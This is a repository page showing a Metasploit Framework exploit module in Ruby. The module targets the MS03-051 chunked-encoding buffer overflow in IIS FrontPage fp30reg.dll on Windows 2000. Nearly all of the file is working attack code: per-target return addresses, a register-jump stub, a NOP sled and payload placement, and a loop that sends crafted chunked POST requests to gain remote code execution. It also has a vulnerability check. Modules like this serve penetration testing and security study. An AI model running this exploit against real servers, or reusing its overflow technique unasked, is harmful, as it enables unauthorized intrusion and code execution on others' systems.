Statistics
| Branch: | Tag: | Revision:

root / modules / exploits / windows / isapi / ms03_051_fp30reg_chunked.rb @ master

History | View | Annotate | Download (3.2 kB)

1
##
2
# $Id$
3
##
4

    
5
##
6
# This file is part of the Metasploit Framework and may be subject to
7
# redistribution and commercial restrictions. Please see the Metasploit
8
# Framework web site for more information on licensing and terms of use.
9
# http://metasploit.com/framework/
10
##
11

    
12
require 'msf/core'
13

    
14
class Metasploit3 < Msf::Exploit::Remote
15
        Rank = GoodRanking
16

    
17
        include Msf::Exploit::Remote::HttpClient
18

    
19
        def initialize(info = {})
20
                super(update_info(info,
21
                        'Name'           => 'Microsoft IIS ISAPI FrontPage fp30reg.dll Chunked Overflow',
22
                        'Description'    => %q{
23
                                        This is an exploit for the chunked encoding buffer overflow
24
                                described in MS03-051 and originally reported by Brett
25
                                Moore. This particular modules works against versions of
26
                                Windows 2000 between SP0 and SP3. Service Pack 4 fixes the
27
                                issue.
28
                        },
29
                        'Author'         => [ 'hdm' ],
30
                        'License'        => MSF_LICENSE,
31
                        'Version'        => '$Revision$',
32
                        'References'     =>
33
                                [
34
                                        [ 'CVE', '2003-0822'],
35
                                        [ 'OSVDB', '2952'],
36
                                        [ 'BID', '9007'],
37
                                        [ 'MSB', 'MS03-051'],
38
                                ],
39
                        'Privileged'     => false,
40
                        'Payload'        =>
41
                                {
42
                                        'Space'    => 1024,
43
                                        'BadChars' => "\x00\x2b\x26\x3d\x25\x0a\x0d\x20",
44
                                        'StackAdjustment' => -3500,
45

    
46
                                },
47
                        'Platform'       => 'win',
48
                        'Targets'        =>
49
                                [
50
                                        ['Windows 2000 SP0-SP3',  { 'Ret' => 0x6c38a4d0  }],   # from mfc42.dll
51
                                        ['Windows 2000 07/22/02', { 'Ret' => 0x67d44eb1  }],   # from fp30reg.dll 07/22/2002
52
                                        ['Windows 2000 10/06/99', { 'Ret' => 0x67d4665d  }],   # from fp30reg.dll 10/06/1999
53
                                ],
54
                        'DisclosureDate' => 'Nov 11 2003',
55
                        'DefaultTarget' => 0))
56

    
57
                register_options(
58
                        [
59
                                OptString.new('URL', [ true,  "The path to fp30reg.dll", "/_vti_bin/_vti_aut/fp30reg.dll" ]),
60
                        ], self.class)
61
        end
62

    
63
        def exploit
64

    
65
                print_status("Creating overflow request for fp30reg.dll...")
66

    
67
                pat = rand_text_alphanumeric(0xdead)
68
                pat[128, 4] = [target.ret].pack('V')
69
                pat[264, 4] = [target.ret].pack('V')
70

    
71
                # sub eax,0xfffffeff; jmp eax
72
                pat[160, 7] = "\x2d\xff\xfe\xff\xff" + "\xff\xe0"
73

    
74
                pat[280, 512] = make_nops(512)
75
                pat[792, payload.encoded.length] = payload.encoded
76

    
77
                0.upto(15) do |i|
78

    
79
                        if (i % 3 == 0)
80
                                print_status("Refreshing the remote dllhost.exe process...")
81

    
82
                                res = send_request_raw({
83
                                        'uri' => datastore['URL']
84
                                }, -1)
85

    
86
                                if (res and res.body =~ /specified module could not be found/)
87
                                        print_status("The server states that #{datastore['URL']} does not exist.\n")
88
                                        return
89
                                end
90
                        end
91

    
92
                        print_status("Trying to exploit fp30reg.dll (request #{i} of 15)")
93

    
94
                        res = send_request_raw({
95
                                'uri'     => datastore['URL'],
96
                                'method'  => 'POST',
97
                                'headers' =>
98
                                {
99
                                        'Transfer-Encoding' => 'Chunked'
100
                                },
101
                                'data'    => "DEAD\r\n#{pat}\r\n0\r\n"
102
                        }, 5)
103

    
104
                        if (res and res.body =~ /specified module could not be found/)
105
                                print_status("The server states that #{datastore['URL']} does not exist.\n")
106
                                return
107
                        end
108

    
109
                        handler
110

    
111
                        select(nil,nil,nil,1)
112
                end
113
        end
114

    
115
        def check
116
                print_status("Requesting the vulnerable ISAPI path...")
117
                r = send_request_raw({
118
                        'uri' => datastore['URL']
119
                }, -1)
120

    
121
                if (r and r.code == 501)
122
                        return Exploit::CheckCode::Detected
123
                end
124
                return Exploit::CheckCode::Safe
125
        end
126

    
127
end